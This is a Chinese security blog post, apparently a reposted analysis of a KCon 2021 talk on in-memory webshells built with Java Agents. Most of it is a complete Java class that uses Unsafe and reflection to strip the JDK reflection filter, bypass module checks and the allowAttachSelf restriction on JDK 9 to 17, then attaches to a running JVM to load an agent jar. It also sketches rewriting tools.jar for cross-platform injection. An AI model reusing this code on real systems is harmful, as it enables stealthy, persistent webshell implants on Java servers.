要点概览
-
遍历所有VirtualMachine获取到正确的Machine
-
重写tools.jar 封装到Agent中解决无依赖及多平台兼容问题
-
JDK 9 -17 下绕过allowAttachSelf
一、目前Java Agent通用主要遇到以下几个问题
Java Agent 内存马前置知识,参考木头师傅的文章:
http://wjlshare.com/archives/1582
1.java 命令直接运行时,不会加载tools.jar
2.Java Agent 内存马操作系统不兼容
Java Agent内存马与操作系统有关,具体到JDK tools.jar的代码逻辑中,我们发现不同的操作系统平台,在Agent与jvm通信时采用的方式不同
Windows:sun.tools.attach.WindowsVirtualMachine
连接管道 ——> 注入shellcode
Linux:sun.tools.attach.LinuxVirtualMachine
Linux 采用套接字
3.JDK 9 allowAttachSelf绕过 以上失败
jdk 9 不仅没有了tools.jar的概念,jdk下java直接执行命令自动包含工具库,且以后将各操作系统下的VirtualMachine集合在一起 :sun.tools.attach.VirtualMachineImpl
但是限制了SelfAttach,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效
冰蝎作者rebeyond在八月份提出一种解决方案:https://xz.aliyun.com/t/10075#toc-1
Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true)
但在JDK12以上失效
二、议题解决方法
1.JDK 9 -17 下绕过allowAttachSelf
成功绕过
核心绕过方法
代码参考:https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk
/JdkSecurityBypass.java
/**
* @auther Skay
* @date 2021/11/4 16:14
* @description
*/
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.List;
public class AgentMainDemo_JDK12 {
private static void patchHotSpotVirtualMachine(){
try {
try {
Class hotSpotVirtualMachineClass =Class.forName("sun.tools.attach.HotSpotVirtualMachine",true,ClassLoader.getSystemClassLoader());
Field field=hotSpotVirtualMachineClass.getDeclaredField("ALLOW_ATTACH_SELF");
if (Modifier.isFinal(field.getModifiers())){
try {
Field modifiersField=field.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.set(field, field.getModifiers()&~Modifier.FINAL);
}catch (Exception e){
e.printStackTrace();
}
}
field.setAccessible(true);
field.set(null, true);
}catch (Exception e){
}
}catch (Exception e){
}catch (Error err){
}
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
private static Method getMethod(Class clazz,String methodName,Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
public static byte[] readInputStream(InputStream inputStream) {
byte[] temp = new byte[4096];
int readOneNum = 0;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
while ((readOneNum = inputStream.read(temp)) != -1) {
bos.write(temp, 0, readOneNum);
}
inputStream.close();
}catch (Exception e){
}
return bos.toByteArray();
}
private static void removeClassCache(Unsafe unsafe,Class clazz){
try {
Class ClassAnonymousClass = unsafe.defineAnonymousClass(clazz,readInputStream(Class.class.getResourceAsStream("Class.class")),null);
Field reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}catch (Exception e){
//e.printStackTrace();
}
}
public static void bypassReflectionFilter(){
try {
Unsafe unsafe = getUnsafe();
Class classClass = Class.class;
try {
System.out.println(String.format("没有Reflection Filter ClassLoader :%s", classClass.getDeclaredField("classLoader")));
}catch (Exception e){
try {
Class reflectionClass=Class.forName("jdk.internal.reflect.Reflection");
byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class"));
Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);
Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){
unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap());
}
if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){
unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap());
}
removeClassCache(unsafe,classClass);
System.out.println(String.format("Bypass Jdk Reflection Filter Successfully! ClassLoader :%s", classClass.getDeclaredField("classLoader")));
}catch (ClassNotFoundException e2){
try {
Class reflectionClass=Class.forName("sun.reflect.Reflection");
byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class"));
Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);
Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){
unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap());
}
if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){
unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap());
}
removeClassCache(unsafe,classClass);
System.out.println(String.format("Bypass Jdk Reflection Filter Successfully! ClassLoader :%s", classClass.getDeclaredField("classLoader")));
}catch (Exception e3){
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
public static void bypassModule(){
try {
Unsafe unsafe = getUnsafe();
Class targetClass = Field.class;
Class currentClass = AgentMainDemo_JDK12.class;
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
Object oldModule = getModuleMethod.invoke(currentClass, new Object[]{});
Object targetModule = getModuleMethod.invoke(targetClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception{
bypassReflectionFilter();
bypassModule();
patchHotSpotVirtualMachine();
String path = "D:\java\za\Godzilla\agent_test\out\artifacts\agent_test_jar\agent_test.jar";
List list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("AgentMainDemo")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
vm.detach();
}
}
}
}
2.重写tools.jar 封装到Agent中解决无依赖及多平台兼容问题
2.1 tools.jar 重写实现原理
Java Agent技术可以修改jvm中所有Class,包括java.lang.*
通过inst.getAllLoadedClasses() 可以获取jvm中所有Class
每个Class在JVM内存中只占用一份内存,通过java.lang.instrument.Instrumentation#redefineClasses直接修改字节码来实现类的重写,有了Java Agent,就相当于有了JVM最高控制权限。
2.2 遍历所有VirtualMachine获取到正确的Machine
native函数未链接时会抛出异常
这时catch 这个报错可以遍历所有Machine获取到正确的Machine
这里的VirtualMachine,为了适应多平台,作者已经实现了多个平台版本的VirtualMachine
三、参考连接
https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java
https://juejin.cn/post/6991844645147770917
https://xz.aliyun.com/t/10075#toc-1
http://wjlshare.com/archives/1582
❤ Beichen ❤
原文始发于微信公众号(赛博少女):Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马